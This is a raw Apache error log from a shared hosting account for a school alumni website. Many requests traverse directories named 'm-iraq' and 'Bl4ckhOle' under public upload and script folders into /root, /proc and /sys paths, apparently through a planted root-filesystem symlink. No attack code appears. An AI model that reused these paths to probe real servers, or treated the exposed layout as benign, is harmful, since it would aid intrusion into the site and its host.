[Fri Jul 17 08:11:33.940470 2026] [mime:warn] [pid 1996894:tid 1996894] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:11:34.000432 2026] [core:error] [pid 1993671:tid 1993671] (13)Permission denied: [client 47.79.15.99:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/dev/char/246:1/device/subsystem/drivers/ata_piix/new_id
[Fri Jul 17 08:11:34.010748 2026] [mime:warn] [pid 1999089:tid 1999089] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:11:34.069679 2026] [mime:warn] [pid 1993584:tid 1993584] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:11:34.097561 2026] [mime:warn] [pid 1993570:tid 1993570] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:11:34.307857 2026] [mime:warn] [pid 1996894:tid 1996894] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:11:34.504081 2026] [mime:warn] [pid 1993619:tid 1993619] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:11:34.512730 2026] [mime:warn] [pid 1994446:tid 1994446] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:11:34.774847 2026] [core:error] [pid 1993584:tid 1993584] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/proc/self/cwd/sys/kernel/slab/TCP/alloc_calls
[Fri Jul 17 08:11:35.697723 2026] [mime:warn] [pid 1993715:tid 1993715] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:11:35.789533 2026] [mime:warn] [pid 2002425:tid 2002425] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:11:35.882448 2026] [mime:warn] [pid 1996894:tid 1996894] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:11:36.699286 2026] [mime:warn] [pid 1993573:tid 1993573] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:11:36.754297 2026] [mime:warn] [pid 1999089:tid 1999089] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:11:36.777662 2026] [mime:warn] [pid 1993675:tid 1993675] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:11:36.989016 2026] [mime:warn] [pid 1999089:tid 1999089] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:11:37.124869 2026] [mime:warn] [pid 1994967:tid 1994967] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:11:37.246574 2026] [mime:warn] [pid 2002425:tid 2002425] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:11:37.434814 2026] [mime:warn] [pid 1993574:tid 1993574] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:11:37.525662 2026] [core:error] [pid 2002425:tid 2002425] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/sys/dev/char/4:5/subsystem/ttyS0/irq
[Fri Jul 17 08:11:37.666270 2026] [mime:warn] [pid 1994966:tid 1994966] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:11:37.788335 2026] [mime:warn] [pid 1993573:tid 1993573] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:11:38.169145 2026] [mime:warn] [pid 1993584:tid 1993584] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:11:38.294126 2026] [mime:warn] [pid 1993574:tid 1993574] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:11:38.839104 2026] [core:error] [pid 1993572:tid 1993572] (13)Permission denied: [client 47.128.48.175:0] AH00132: file permissions deny server access: /home/anandaob/public_html/public_html/public_html/uploads/img/news/m-iraq/root/proc/thread-self/cwd/sys/kernel/slab/buffer_head/usersize
[Fri Jul 17 08:11:38.913762 2026] [security2:error] [pid 1993715:tid 1993715] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/sys/dev/char/5:0/subsystem/ttyS2/uevent"] [unique_id "almWYnRlmrtCoY_COpcfWAAAAAg"]
[Fri Jul 17 08:11:38.913794 2026] [security2:error] [pid 1993715:tid 1993715] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/sys/dev/char/5:0/subsystem/ttyS2/uevent"] [unique_id "almWYnRlmrtCoY_COpcfWAAAAAg"]
[Fri Jul 17 08:11:39.737078 2026] [mime:warn] [pid 1993570:tid 1993570] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:11:39.827834 2026] [core:error] [pid 1994976:tid 1994976] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/proc/thread-self/cwd/sys/kernel/slab/kmalloc-rcl-192/align
[Fri Jul 17 08:11:40.103176 2026] [core:error] [pid 1996894:tid 1996894] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/sys/bus/cpu/devices/cpu1/driver/bind
[Fri Jul 17 08:11:40.194969 2026] [mime:warn] [pid 1999089:tid 1999089] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:11:40.285352 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:11:40.510187 2026] [ssl:error] [pid 1993675:tid 1993675] (70014)End of file found: [client 66.85.158.91:38140] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:11:40.757133 2026] [mime:warn] [pid 1996894:tid 1996894] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:11:40.851470 2026] [mime:warn] [pid 1999089:tid 1999089] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:11:41.678484 2026] [mime:warn] [pid 1993584:tid 1993584] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:11:41.858810 2026] [core:error] [pid 1993715:tid 1993715] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/sys/class/wakeup/wakeup11/device/device:0a/eject
[Fri Jul 17 08:11:42.134726 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:11:42.682432 2026] [mime:warn] [pid 1994446:tid 1994446] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:11:42.965627 2026] [mime:warn] [pid 1994976:tid 1994976] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:11:43.324343 2026] [core:error] [pid 1999089:tid 1999089] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/proc/thread-self/cwd/sys/kernel/slab/filp/total_objects
[Fri Jul 17 08:11:46.948570 2026] [mime:warn] [pid 1994966:tid 1994966] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:11:48.849206 2026] [mime:warn] [pid 1996894:tid 1996894] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:11:49.374737 2026] [mime:warn] [pid 1994966:tid 1994966] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:11:49.421496 2026] [ssl:error] [pid 1996894:tid 1996894] (70014)End of file found: [client 66.85.158.91:46874] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:11:49.425958 2026] [mime:warn] [pid 1993715:tid 1993715] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:11:49.973371 2026] [mime:warn] [pid 1993573:tid 1993573] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:11:50.351892 2026] [ssl:error] [pid 1994966:tid 1994966] (70014)End of file found: [client 66.85.158.91:46924] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:11:51.236326 2026] [ssl:error] [pid 1993619:tid 1993619] (70014)End of file found: [client 66.85.158.91:46950] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:11:51.929410 2026] [ssl:error] [pid 1993573:tid 1993573] (70014)End of file found: [client 66.85.158.91:46362] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:11:52.366479 2026] [mime:warn] [pid 2002425:tid 2002425] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:11:52.458407 2026] [mime:warn] [pid 1994446:tid 1994446] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:11:52.842676 2026] [mime:warn] [pid 1993570:tid 1993570] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:11:52.843265 2026] [mime:warn] [pid 1993570:tid 1993570] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:11:52.843322 2026] [mime:warn] [pid 1993570:tid 1993570] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:11:53.369601 2026] [mime:warn] [pid 1993570:tid 1993570] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:11:53.459918 2026] [mime:warn] [pid 2002425:tid 2002425] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:11:53.958904 2026] [mime:warn] [pid 1993715:tid 1993715] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:11:54.098262 2026] [mime:warn] [pid 1993675:tid 1993675] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:11:55.202205 2026] [mime:warn] [pid 2002425:tid 2002425] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:11:55.831947 2026] [mime:warn] [pid 1993584:tid 1993584] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:11:56.471259 2026] [mime:warn] [pid 1994956:tid 1994956] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:11:56.562231 2026] [mime:warn] [pid 2002425:tid 2002425] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:11:56.653274 2026] [mime:warn] [pid 1993570:tid 1993570] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:11:56.746560 2026] [core:error] [pid 1993619:tid 1993619] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/thread-self/cwd/opt/ai-bolit/aibolit-resident-launcher.sh
[Fri Jul 17 08:11:56.836591 2026] [core:error] [pid 1993574:tid 1993574] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/proc/thread-self/cwd/usr/share/cagefs-skeleton/opt/ai-bolit/aibolit-resident-launcher.sh
[Fri Jul 17 08:11:57.298220 2026] [core:error] [pid 1999089:tid 1999089] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/proc/self/cwd/etc/yum/vars/altrubyelstoken
[Fri Jul 17 08:11:57.692675 2026] [ssl:error] [pid 1994956:tid 1994956] (70014)End of file found: [client 66.85.158.91:46690] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:11:59.696982 2026] [mime:warn] [pid 1993574:tid 1993574] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:12:00.144811 2026] [security2:error] [pid 1994966:tid 1994966] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/proc/thread-self/cwd/var/lve/snapshots/1009/1784019336.snapshot"] [unique_id "almWeLyEqmgiTSUa55oFBwAAABA"]
[Fri Jul 17 08:12:00.144865 2026] [security2:error] [pid 1994966:tid 1994966] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/proc/thread-self/cwd/var/lve/snapshots/1009/1784019336.snapshot"] [unique_id "almWeLyEqmgiTSUa55oFBwAAABA"]
[Fri Jul 17 08:12:02.704491 2026] [ssl:error] [pid 2002425:tid 2002425] (70014)End of file found: [client 66.85.158.91:52040] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:12:04.060316 2026] [security2:error] [pid 1993998:tid 1993998] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/uploads/img/news/m-iraq/root/proc/thread-self/cwd/var/lve/snapshots/1009/1781629944.snapshot"] [unique_id "almWfGidQp3SsqeycPEp1QAAAAo"]
[Fri Jul 17 08:12:04.060352 2026] [security2:error] [pid 1993998:tid 1993998] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/uploads/img/news/m-iraq/root/proc/thread-self/cwd/var/lve/snapshots/1009/1781629944.snapshot"] [unique_id "almWfGidQp3SsqeycPEp1QAAAAo"]
[Fri Jul 17 08:12:06.138978 2026] [ssl:error] [pid 1993998:tid 1993998] (5)Input/output error: [client 66.85.158.91:52172] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:12:09.408537 2026] [ssl:error] [pid 1996894:tid 1996894] (70014)End of file found: [client 66.85.158.91:52284] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:12:09.822189 2026] [security2:error] [pid 1993668:tid 1993668] [client 74.7.227.161:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almWgRAi3pC6yjXGNq16SwAAAAU"], referer: http://www.anandaobauae.org/?66.249.65.143uploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686742380_13.%20Donation%20%20-%20Donation%20of%20Kids%20Face%20Masks%20for%20little%20Anandians-%20Pic2.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpg
[Fri Jul 17 08:12:09.822234 2026] [security2:error] [pid 1993668:tid 1993668] [client 74.7.227.161:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almWgRAi3pC6yjXGNq16SwAAAAU"], referer: http://www.anandaobauae.org/?66.249.65.143uploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686742380_13.%20Donation%20%20-%20Donation%20of%20Kids%20Face%20Masks%20for%20little%20Anandians-%20Pic2.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpg
[Fri Jul 17 08:12:11.117698 2026] [ssl:error] [pid 1993573:tid 1993573] (70014)End of file found: [client 66.85.158.91:52354] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:12:11.246107 2026] [mime:warn] [pid 1994976:tid 1994976] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:12:11.415871 2026] [ssl:error] [pid 1994966:tid 1994966] (70014)End of file found: [client 66.85.158.91:33566] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:12:11.649876 2026] [security2:error] [pid 2002425:tid 2002425] [client 74.7.227.140:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almWg6UJv0yl2bIgVrkKgQAAABU"], referer: http://anandaobauae.org/?C=D;O=Duploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686742380_13.%20Donation%20%20-%20Donation%20of%20Kids%20Face%20Masks%20for%20little%20Anandians-%20Pic2.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686745495_1xiTrophy.jpg
[Fri Jul 17 08:12:11.649914 2026] [security2:error] [pid 2002425:tid 2002425] [client 74.7.227.140:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almWg6UJv0yl2bIgVrkKgQAAABU"], referer: http://anandaobauae.org/?C=D;O=Duploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686742380_13.%20Donation%20%20-%20Donation%20of%20Kids%20Face%20Masks%20for%20little%20Anandians-%20Pic2.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686745495_1xiTrophy.jpg
[Fri Jul 17 08:12:11.777002 2026] [ssl:error] [pid 1993571:tid 1993571] (70014)End of file found: [client 66.85.158.91:33610] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:12:11.995956 2026] [mime:warn] [pid 1993570:tid 1993570] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:12:12.361477 2026] [mime:warn] [pid 1993604:tid 1993604] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:12:12.451847 2026] [mime:warn] [pid 1993584:tid 1993584] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:12:12.542371 2026] [mime:warn] [pid 2002425:tid 2002425] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:12:13.190226 2026] [ssl:error] [pid 2002425:tid 2002425] (70014)End of file found: [client 66.85.158.91:33680] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:12:13.363383 2026] [mime:warn] [pid 1994967:tid 1994967] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:12:13.363927 2026] [security2:error] [pid 1994967:tid 1994967] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/public_html/uploads/img/news/m-iraq/root/lib/firmware/nvidia/ga100/acr/"] [unique_id "almWhUhq6UAnqYko0LpULwAAABE"]
[Fri Jul 17 08:12:13.363951 2026] [security2:error] [pid 1994967:tid 1994967] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/public_html/uploads/img/news/m-iraq/root/lib/firmware/nvidia/ga100/acr/"] [unique_id "almWhUhq6UAnqYko0LpULwAAABE"]
[Fri Jul 17 08:12:13.999571 2026] [mime:warn] [pid 1994976:tid 1994976] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:12:15.318034 2026] [ssl:error] [pid 1994967:tid 1994967] (70014)End of file found: [client 66.85.158.91:33796] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:12:15.934639 2026] [mime:warn] [pid 1993570:tid 1993570] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:12:16.424075 2026] [ssl:error] [pid 1993668:tid 1993668] (70014)End of file found: [client 66.85.158.91:33860] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:12:16.778860 2026] [mime:warn] [pid 1996894:tid 1996894] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:12:16.868684 2026] [mime:warn] [pid 1993659:tid 1993659] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:12:17.057534 2026] [mime:warn] [pid 1994966:tid 1994966] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:12:17.420046 2026] [mime:warn] [pid 1996894:tid 1996894] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:12:17.459075 2026] [ssl:error] [pid 1993573:tid 1993573] (70014)End of file found: [client 66.85.158.91:33908] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:12:17.699375 2026] [mime:warn] [pid 1993584:tid 1993584] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:12:18.364160 2026] [ssl:error] [pid 1993671:tid 1993671] (70014)End of file found: [client 66.85.158.91:33948] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:12:18.385758 2026] [mime:warn] [pid 1994966:tid 1994966] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:12:18.687830 2026] [ssl:error] [pid 1993675:tid 1993675] (70014)End of file found: [client 66.85.158.91:33972] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:12:19.239704 2026] [mime:warn] [pid 1993574:tid 1993574] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:12:19.608981 2026] [mime:warn] [pid 1993584:tid 1993584] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:12:19.863512 2026] [ssl:error] [pid 1993574:tid 1993574] (70014)End of file found: [client 66.85.158.91:34030] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:12:19.988226 2026] [mime:warn] [pid 1993571:tid 1993571] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:12:20.625267 2026] [mime:warn] [pid 2002425:tid 2002425] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:12:20.716384 2026] [mime:warn] [pid 1993571:tid 1993571] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:12:21.080024 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:12:21.172077 2026] [mime:warn] [pid 1994966:tid 1994966] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:12:21.357479 2026] [mime:warn] [pid 2002425:tid 2002425] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:12:21.539658 2026] [mime:warn] [pid 1993584:tid 1993584] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:12:21.727729 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:12:21.909140 2026] [mime:warn] [pid 1993619:tid 1993619] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:12:22.002167 2026] [cgi:error] [pid 1993570:tid 1993570] [client 216.73.216.245:0] AH01215: stderr from /home/anandaob/public_html/uploads/img/news/m-iraq/root/usr/share/doc/perl-Test-Simple/examples/indent.pl: (13)Permission denied: exec of '/home/anandaob/public_html/uploads/img/news/m-iraq/root/usr/share/doc/perl-Test-Simple/examples/indent.pl' failed
[Fri Jul 17 08:12:22.002968 2026] [cgi:error] [pid 1993570:tid 1993570] [client 216.73.216.245:0] End of script output before headers: indent.pl
[Fri Jul 17 08:12:22.558495 2026] [cgi:error] [pid 1994446:tid 1994446] [client 216.73.216.245:0] AH01215: stderr from /home/anandaob/public_html/uploads/img/news/m-iraq/root/usr/share/doc/perl-Test-Simple/examples/tools.pl: (13)Permission denied: exec of '/home/anandaob/public_html/uploads/img/news/m-iraq/root/usr/share/doc/perl-Test-Simple/examples/tools.pl' failed
[Fri Jul 17 08:12:22.559455 2026] [cgi:error] [pid 1994446:tid 1994446] [client 216.73.216.245:0] End of script output before headers: tools.pl
[Fri Jul 17 08:12:27.500089 2026] [mime:warn] [pid 1993675:tid 1993675] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:12:27.501410 2026] [mime:warn] [pid 1993570:tid 1993570] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:12:27.790792 2026] [mime:warn] [pid 1993573:tid 1993573] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:12:28.036722 2026] [mime:warn] [pid 1993604:tid 1993604] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:12:28.318529 2026] [mime:warn] [pid 1993571:tid 1993571] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:12:28.363188 2026] [mime:warn] [pid 1994967:tid 1994967] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:12:28.435586 2026] [mime:warn] [pid 1993668:tid 1993668] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:12:29.304577 2026] [security2:error] [pid 1993659:tid 1993659] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/proc/thread-self/cwd/usr/lib64/python3.12/lib-dynload/syslog.cpython-312-x86_64-linux-gnu.so"] [unique_id "almWlZOFLENLI63GGOEHbgAAAAQ"]
[Fri Jul 17 08:12:29.304622 2026] [security2:error] [pid 1993659:tid 1993659] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/proc/thread-self/cwd/usr/lib64/python3.12/lib-dynload/syslog.cpython-312-x86_64-linux-gnu.so"] [unique_id "almWlZOFLENLI63GGOEHbgAAAAQ"]
[Fri Jul 17 08:12:29.995517 2026] [mime:warn] [pid 1993715:tid 1993715] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:12:30.196479 2026] [mime:warn] [pid 2002425:tid 2002425] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:12:30.405601 2026] [mime:warn] [pid 1993619:tid 1993619] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:12:30.479543 2026] [mime:warn] [pid 1993675:tid 1993675] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:12:30.483055 2026] [mime:warn] [pid 1993715:tid 1993715] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:12:30.604364 2026] [core:error] [pid 2002425:tid 2002425] (13)Permission denied: [client 47.82.52.79:0] AH00132: file permissions deny server access: /home/anandaob/public_html/js/Bl4ckhOle/root/sys/devices/LNXSYSTM:00/LNXSYBUS:00/PNP0A03:00/device:03/physical_node/rescan
[Fri Jul 17 08:12:30.640672 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:12:30.779957 2026] [mime:warn] [pid 1993675:tid 1993675] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:12:30.822464 2026] [mime:warn] [pid 1993715:tid 1993715] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:12:30.882564 2026] [mime:warn] [pid 1993571:tid 1993571] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:12:32.312121 2026] [mime:warn] [pid 1993675:tid 1993675] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:12:32.389443 2026] [ssl:error] [pid 1994966:tid 1994966] (70014)End of file found: [client 66.85.158.91:36738] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:12:32.416757 2026] [mime:warn] [pid 1993571:tid 1993571] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:12:32.716632 2026] [mime:warn] [pid 1994967:tid 1994967] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:12:32.788328 2026] [mime:warn] [pid 1993675:tid 1993675] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:12:32.943387 2026] [mime:warn] [pid 1993659:tid 1993659] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:12:33.091412 2026] [mime:warn] [pid 1994446:tid 1994446] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:12:33.125789 2026] [mime:warn] [pid 1993573:tid 1993573] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:12:33.135710 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:12:33.254863 2026] [mime:warn] [pid 1993998:tid 1993998] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:12:33.265220 2026] [mime:warn] [pid 2005917:tid 2005917] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:12:33.442549 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:12:33.654715 2026] [core:error] [pid 1993604:tid 1993604] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/sys/bus/pci/drivers/virtio-pci/0000:00:05.0/rescan
[Fri Jul 17 08:12:33.745805 2026] [mime:warn] [pid 1993675:tid 1993675] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:12:34.349310 2026] [core:error] [pid 1994976:tid 1994976] (13)Permission denied: [client 47.82.49.217:0] AH00132: file permissions deny server access: /home/anandaob/public_html/backup/js/Bl4ckhOle/root/sys/devices/LNXSYSTM:00/LNXSYBUS:00/PNP0A03:00/device:11/subsystem/drivers_probe
